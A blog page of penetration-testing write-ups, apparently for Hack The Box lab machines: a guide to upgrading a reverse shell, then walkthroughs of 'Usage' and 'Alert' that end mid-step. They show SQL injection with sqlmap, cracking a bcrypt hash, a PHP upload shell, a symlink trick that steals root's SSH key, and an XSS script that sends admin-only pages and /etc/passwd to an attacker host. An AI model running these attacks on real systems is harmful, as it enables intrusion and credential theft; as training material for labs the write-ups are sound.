Escalofrio Blog

TTY Treatment

Fri, 30 Oct 2026 00:00:00 GMT

Often, when we gain a shell, that shell isn't fully interactive and doesn't allow us to use Ctrl + L, Ctrl + C, etc...

So in this article, we're going to learn how to turn a simple shell into a fully interactive one

Bash

script /dev/null -c bash
# Ctrl + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash

Run this on your own machine. It prints your terminal’s current rows and columns (e.g. 44 185)

stty size

Run this on the target, using the numbers from the previous command. This tells the remote shell the correct window size, fixing text wrapping and preventing programs like nano, vim, etc from rendering incorrectly

stty rows <number> columns <number>

ZSH

script /dev/null -c zsh
# Ctrl + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=zsh

Run this on your own machine. It prints your terminal’s current rows and columns (e.g. 44 185)

stty size

stty rows <number> columns <number>

Important:

Zsh has its own startup files (.zshrc, .zprofile) separate from bash’s (.bashrc, .bash_profile). If the target’s zsh loads a .zshrc with aliases, prompt themes (like oh-my-zsh), or plugins, your prompt may look different or even break slightly on a minimal target — worth a one-line callout so readers aren’t confused if the prompt looks unusual after upgrading

Step-By-Step: What Each Command Does

Spawn a pseudo-terminal on the target

script /dev/null -c bash

script is a Unix utility that records a terminal session. Here we’re not using it to record — we’re abusing a side effect: it allocates a real PTY (pseudo-terminal) for whatever command you give it

/dev/null tells it to discard the typescript log instead of saving it to a file

-c bash tells it which program to run inside that PTY — bash in this case

Result: instead of a raw socket shell, you now have a shell running inside a proper PTY, which supports job control, signals, and terminal features.

For a zsh target, this becomes script /dev/null -c zsh, as long as zsh is actually installed on that machine (check first with which zsh or cat /etc/shells).

Background the shell and configure your own terminal

Ctrl+Z

This suspends the remote shell process and drops you back to your own local shell, in the background

stty raw -echo; fg

stty raw switches your own terminal into raw mode: keystrokes are sent directly to the program instead of being line-buffered and processed by your terminal driver. This is what makes arrow keys, Ctrl+C, and tab-completion pass through correctly

-echo disables local echo, since the remote shell will now handle displaying what you type (otherwise you’d see every character doubled)

fg brings the suspended job back to the foreground, now interacting through your raw terminal

This part is identical whether your attacking terminal runs bash or zsh — stty, job control, and fg work the same in both.

Reset and set the environment

reset xterm
export TERM=xterm
export SHELL=bash

reset xterm clears terminal corruption and reinitializes terminal settings, using xterm as the terminal type

export TERM=xterm tells programs on the target what terminal type to expect, so things like vim, nano, or less render correctly

export SHELL=bash sets the SHELL environment variable to match the shell actually running — change this to export SHELL=zsh if that’s what you spawned in step 1

Match your terminal dimensions

stty size

Run this on your own machine. It prints your terminal’s current rows and columns (e.g. 44 185) bash

stty rows 44 columns 185

Run this on the target, using the numbers from the previous command. This tells the remote shell the correct window size, fixing text wrapping and preventing programs like vim from rendering incorrectly

Bash vs Zsh — What Actually Differs

Part	Bash	zsh
Spawning the PTY	`script /dev/null -c bash`	`script /dev/null -c zsh`
`SHELL` variable	`export SHELL=bash`	`export SHELL=zsh`
Job control (`Ctrl+Z`, `fg`)	works	works
`stty` commands	works	works
Availability on targets	almost always present	rarely installed

Usage

Sun, 25 Oct 2026 00:00:00 GMT

Reconnaissance

First, we check which TCP ports are open

sudo nmap -sS -p- --open -T3 10.129.91.171 -vvv -n -Pn -oN allports.txt

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Based on the TTL, we can confirm that this is a Linux machine:

And as we can see, we have two services: HTTP and SSH

Now let's run a more in depth scan to gather some information about these two services

nmap -sVC -p22,80 10.129.91.171 -oN portscan.txt

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Final times for host: srtt: 45156 rttvar: 26823  to: 152448

If we take a look at the http-title script, it says "Did not follow redirect to http://usage.htb/" this happens because our machine cannot resolve the domain usage.htb. So let's map it in our /etc/hosts file

sudo nvim /etc/hosts

Web-Server Enumeration

Now let's take a look at the HTTP service

the first thing we can do is use Wappalyzer or from the terminal whatweb to identify the technologies used by that service

whatweb http://usage.htb

http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.129.91.171], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

In the HTTP service, we can see that there is a button labeled "admin"

Subdomain Found

This redirects us to a subdomain that isn't listed in the /etc/hosts file, so it won't work

So let's add it

sudo nvim /etc/hosts

Now let's see what's in that subdomain

It looks like we have an admin panel

Since we don't have credentials, let's continue in the root domain

As we saw earlier, there are two more buttons, one to sign up and another to log in

So let's create an account and log in

We didn't find anything of value within the web service, so now we can start launching an active enumeration, essentially a brute-force attack to find system paths / directories

Brute-Force Attack Against Directories

In this case, we'll use Gobuster to practice using different tools

gobuster dir -u http://usage.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 50 -b 503,404 -xl 6603

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://usage.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404
[+] Exclude Length:          6603
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
dashboard            (Status: 302) [Size: 334] [--> http://usage.htb/login]
Progress: 220557 / 220557 (100.00%)
===============================================================
Finished
===============================================================

We still don't have any information that could help us

Anyways, there's a button on the web service that we still need to check out...

Let's see how it works

Here we can see a message that says, "We have e-mailed your password reset link"

Since we know the website has a login portal, we can infer that it uses a database behind the scenes, so we can try to perform basic SQL injections

SQL Injection Found

As we can see, it's still giving us the OK

To confirm if the query is being executed in the database, let's add “something” incorrect

And as we can see, the message is no longer the same

Therefore, we have found a field that is vulnerable to SQL injection

(From now on, we'll be using a different IP address since I've reset the machine)

In this case, we're going to use sqlmap to exploit this SQL injection

Let's start by saving the request in which we discovered the SQL injection to a file

Now we'll use this file specifically the “email” field so that sqlmap can test queries there

Since we don't know the names of the databases being used, we launched an attack to find them out

Exploiting SQLI

sqlmap -r data.txt -p email --batch --level 3 --dbs

Now that we have the names of the databases, let's list the tables that catch our attention the most, in this case usage_blog

sqlmap -r data.txt -p email --batch --level 3 -D 'usage_blog' --tables

Now that we have the tables, let's list the columns we're most interested in, in this case admin_users

sqlmap -r data.txt -p email --batch --level 3 -D 'usage_blog' -T 'users' --columns

Now that we've looked at some interesting columns, let's try to list the data

sqlmap -r data.txt -p email --batch --level 3 -D 'usage_blog' --dump

Hashed Admin Password Found

It looks like we've obtained the administrator's password, but it's hashed, so the next step would be to crack it

echo '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' > password_hashed.txt

Now, to find out the hash type, we can use this website

https://hashes.com/en/tools/hash_identifier

Now all we have to do is copy and paste the hash so the page will tell us what type of hash is being used

And we see an interesting message: "Possible algorithms: bcrypt $2$, Blowfish (Unix)"*

To crack this hash, we're going to use Hashcat, but first we need to find the ID number for this type of hash

hashcat --example-hashes | grep -i "Blowfish" -B 5 -A 5

As we can see from the name, it says bcrypt $2*$, Blowfish (Unix), and the hash mode is #3200, that number is the one we need to crack the hash

Now that everything is ready, let's try to crack it

Hash Cracking

sudo hashcat -m 3200 -a 0 password_hashed.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

We were able to crack it, password: whatever1

With this plain-text information, let's try to log in to the admin panel we saw earlier in the web service

credentials: admin:whatever1

We're in...

After exploring almost all the features available within the web service, I found something very interesting...

Malicious PHP file

If we go to the user settings section, we can see that we can change our profile picture

With that in mind, let's try uploading a PHP file

But first, let's create it

nvim shell.php

Now let's try uploading that file

And it didn't work, that's because only "image" files can be uploaded

Now, what we can do is upload the same file but with a .jpg extension to see if the server allows it

mv shell.php shell.jpg

it worked!

But before uploading the image, we should intercept the request with Burp Suite, maybe we can change the parameter in the request from .jpg to .php and inject PHP code into the device where this web service is hosted

burpsuite 2>/dev/null & disown

However, we don't know if it works, but if it does, we'd better set up a reverse shell just in case

Reverse-Shell

Once everything is ready, all we have to do is click the "Forward" button and see if we get a connection

And we've been able to compromise the machine

Privilege Escalation

First, let's see which user we compromised

Now let's move on to the home directory

cd /home/dash

ls -la

total 52
drwxr-x--- 6 dash dash 4096 Oct 28 17:34 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2  2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    5 Oct 28 17:34 .monit.pid
-rw------- 1 dash dash 1192 Oct 28 17:34 .monit.state
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Oct 28 17:05 user.txt

And inside here, we can see the user's flag "user.txt", but also an interesting file called .monitrc

Let's see what's inside...

Possible Credentials Found

cat .monitrc

#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert

And here there appear to be supposed credentials for the "admin" user

admin:3nc0d3d_pa$$w0rd

From what we can see, these credentials can be used with a service running on port 2812 locally

One option we can consider is setting up port forwarding to see if we can access that service

But first, let's use the password we found to see if we can gain access to another user

If we go to the home directory, we can see that there are two users

cd /home

Taking Control Of User Xander

Let's try to log in as this new user using the credentials we found

su xander

Password: 3nc0d3d_pa$$w0rd

And we've taken control of the user Xander!

Now let's see which commands the user Xander can run with elevated privileges without entering a password

sudo -l

We can run the /usr/bin/usage_management command with elevated privileges

Now we need to see if that command is useful for elevating our privileges

First, let's see what kind of file it is

file /usr/bin/usage_management

/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped

Since this is a compiled executable file, we won't be able to list its contents using cat

Anyway, let's run it first to see what it does

sudo /usr/bin/usage_management

It looks like a backup is being performed, but since we can't see the code running in the background, we don't know what's really happening

Reverse Engineering The File

To view the file's code, we're going to use a tool called Ghidra

unzip ghidra_12.2_PUBLIC_20261016.zip

cd ghidra_12.2_PUBLIC/

./ghidraRun &> /dev/null & disown

First, we'll choose where to save our project

To do this, click on "File" , then "New Project", "Non-Shared Project", and choose the path and the name you want to give it

Now we need to import the file we want to analyze

Since we don't have that file, we're going to host it on port 1234 using Python3 so we can download it from our machine

cd /usr/bin
python3 -m http.server 1234

And we download it from our machine using wget

wget http://10.129.92.229:1234/usage_management

Now that we have the file, let's go back to Ghidra

Click on File, then Import File, and select the usage_management file

Once inside, in the left section, we can see the functions

Then we select "backupWebContent"

And we can see what it does from the inside

From what we can see, the root user navigates to the /var/www/html directory and runs /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

This is a major security flaw because when the root user adds the * at the end, it indicates that everything inside /var/www/html is being executed

With that in mind, let's see if we have write permissions for the /var/www/html directory

ls -la /var/www/html

As we can see, we have write permissions

Retrieving The Root User's id_rsa

Now, if we don't know what to do, we can use hacktricks

Here we can see how to exploit this security flaw to obtain information from a file of our choice, in this case we can target /etc/shadow or the root user's id_rsa file

But in my case, I'll choose the root user's id_rsa

ln -s /root/.ssh/id_rsa id_rsa.txt

touch @id_rsa.txt

And as we can see here, we've created a symbolic link to the root user's id_rsa

Now all we have to do is run the script

Now that we have obtained the root user's id_rsa, all that's left is to tweak it a bit and use it

chmod 600 id_rsa

ssh -i id_rsa root@10.129.92.229

And finally, we've gained root access

Alert

Tue, 13 Oct 2026 00:00:00 GMT

Reconnaissance

Let’s start by checking which TCP ports are open

sudo nmap -sS -p- --open --min-rate 5000 10.129.231.188 -vvv -n -Pn -oN allports.txt

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

And as we can see, we have two services: SSH and HTTP

Now let’s perform service version detection

nmap -sVC -p22,80 10.129.231.188 -oN portscan.txt

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

But in http-title, we see a message: Did not follow redirect to http://alert.htb/

This happens because our device doesn't know what “alert.htb” means.

To fix this, let's add it to the /etc/hosts file

sudo nvim /etc/hosts

# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1        localhost
::1              localhost

10.129.231.188 alert.htb

Now let's try to access the HTTP service

Web Service Enumeration

Now let's do some manual enumeration in the web service

In the About Us section, we can see an interesting message

Hello! We are Alert. Our service gives you the ability to view MarkDown. We are reliable, secure, fast and easy to use. If you experience any problems with our service, please let us know. Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours. Thank you for using our service!

In this message, we can clearly see that the administrator is active and reviewing messages that we can send in the Contact Us section

But the most interesting section is in the Markdown Viewer

In this section, users can upload an .md file to the server

With this in mind, let's create our own .md file

nvim test.md

Now let's see if we can insert JavaScript code using .md files

<script>
   alert(0);
</script>

Once the file has been created, let's upload it to the server

Now let's click View Markdown to see if the JavaScript code worked

XSS Found

This alert confirms that JavaScript code has been injected, meaning this web service is vulnerable to XSS

And in the lower right corner, we can see a button that lets us share the Markdown

We won't use that function right now because if the user we send the Markdown to were to open it, they would only see the 0 alert on their screen

But we already have a powerful attack vector. What we could do with this vector is steal the administrator user's session cookies, but since cookies aren't used in this case, we'll perform an Information Disclosure via XSS (Cross-site Scripting)

Now we will perform a brute-force attack to enumerate system files and resources that are only accessible on the server side

If we manage to find a file that is accessible only to the Administrator user or another system user, we can use our XSS to see what it contains

Server-Side Resource

To perform the brute-force attack, we'll use ffuf

ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://alert.htb/FUZZ

The only interesting one is messages

As we can see, we can't see anything, this is a clear indication that it's only accessible from the server side. We've already found a vector through which we can exploit our XSS

Now let's start by creating our JavaScript file, which we'll use so that the administrator can run it once they open the .md file that links to that JavaScript file

nvim pwn.js

And this is the script

var req = new XMLHttpRequest();
req.open("GET", "http://alert.htb/index.php?page=messages", false);
req.send();

var info = new XMLHttpRequest();
info.open("GET", "http://10.10.15.41/?infoinB64=" + btoa(req.responseText));
info.send();

This script ensures that the information we receive is in BASE64 format

Now all we have to do is create the .md file that will point to the pwn.js resource, which will cause it to run as the user who opened the .md file

nvim lookathis.md

And this is what the .md file contains

<script src="http://10.10.15.41/pwn.js"></script>

Now all we have to do is set up an HTTP service in Python on port 80, through which the information will be sent once the administrator clicks on our .md file

sudo python3 -m http.server 80

Then we click on Share Markdown, and we'll share the link generated by the URL through the Contact Us section so that the administrator can run the .md file

Decoding Base64 Data

And as we can see, we've retrieved the content that was stored in messages, since the administrator user was the one who made the request through our script

Now all we have to do is decode it, since it's in BASE64

echo -n 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZS5jc3MiPgogICAgPHRpdGxlPkFsZXJ0IC0gTWFya2Rvd24gVmlld2VyPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxuYXY+CiAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9YWxlcnQiPk1hcmtkb3duIFZpZXdlcjwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1jb250YWN0Ij5Db250YWN0IFVzPC9hPgogICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWFib3V0Ij5BYm91dCBVczwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1kb25hdGUiPkRvbmF0ZTwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1tZXNzYWdlcyI+TWVzc2FnZXM8L2E+ICAgIDwvbmF2PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8aDE+TWVzc2FnZXM8L2gxPjx1bD48bGk+PGEgaHJlZj0nbWVzc2FnZXMucGhwP2ZpbGU9MjAyNC0wMy0xMF8xNS00OC0zNC50eHQnPjIwMjQtMDMtMTBfMTUtNDgtMzQudHh0PC9hPjwvbGk+PC91bD4KICAgIDwvZGl2PgogICAgPGZvb3Rlcj4KICAgICAgICA8cCBzdHlsZT0iY29sb3I6IGJsYWNrOyI+qSAyMDI0IEFsZXJ0LiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvcD4KICAgIDwvZm9vdGVyPgo8L2JvZHk+CjwvaHRtbD4KCg==' | base64 -d | cat -l html > messages.html

cat messages.html

And this is what we have

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <title>Alert - Markdown Viewer</title>
</head>
<body>
    <nav>
        <a href="index.php?page=alert">Markdown Viewer</a>
        <a href="index.php?page=contact">Contact Us</a>
        <a href="index.php?page=about">About Us</a>
        <a href="index.php?page=donate">Donate</a>
        <a href="index.php?page=messages">Messages</a>    </nav>
    <div class="container">
        <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
    </div>
    <footer>
        <p style="color: black;"><A9> 2024 Alert. All rights reserved.</p>
    </footer>
</body>
</html>

If we take a close look at the code, we can see an interesting .txt file

Let's see if we can list its contents

But once again, we don't have permission to see what's inside, so we'll have to access it the same way we did before

Let's modify our script but now pointing to this .txt file

var req = new XMLHttpRequest();
req.open(
	"GET",
	"http://alert.htb/messages.php?file=2024-03-10_15-48-34.txt",
	false,
);
req.send();

var info = new XMLHttpRequest();
info.open("GET", "http://10.10.15.41/?infoinB64=" + btoa(req.responseText));
info.send();

Now all that's left is to wait for the administrator to click on the .md file

But unfortunately, this file does not contain any information...

But all is not lost! By using this new file parameter, which points to system resources, we can leave the current working directory and target more interesting files, such as /etc/passwd

XSS To LFI

And now we'll modify our script again, come up with a new excuse so the administrator clicks on our .md file, and get the information contained in the /etc/passwd file

echo -n 'PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg==' | base64 -d > etc_passwd.txt

cat etc_passwd.txt

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash

Just by looking at this, we can see that there are 3 users in the system

echo "david,albert,root" | tr ',' '\n' > users.txt

Now, the best approach would be to check a web service configuration file to see if we can obtain credentials

But to point to that file, we need to know which web service we're dealing with, we can see this in the scan we ran earlier with nmap

cat portscan.txt

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We are facing an Apache2 service

The default configuration file is located at /etc/apache2/sites-available/000-default.conf on operating systems such as Debian, Ubuntu, Mint, and Pop!_OS

Now let's point to that file and come up with a new excuse to get the administrator user to click on our .md file

And here is the information that was contained in that file

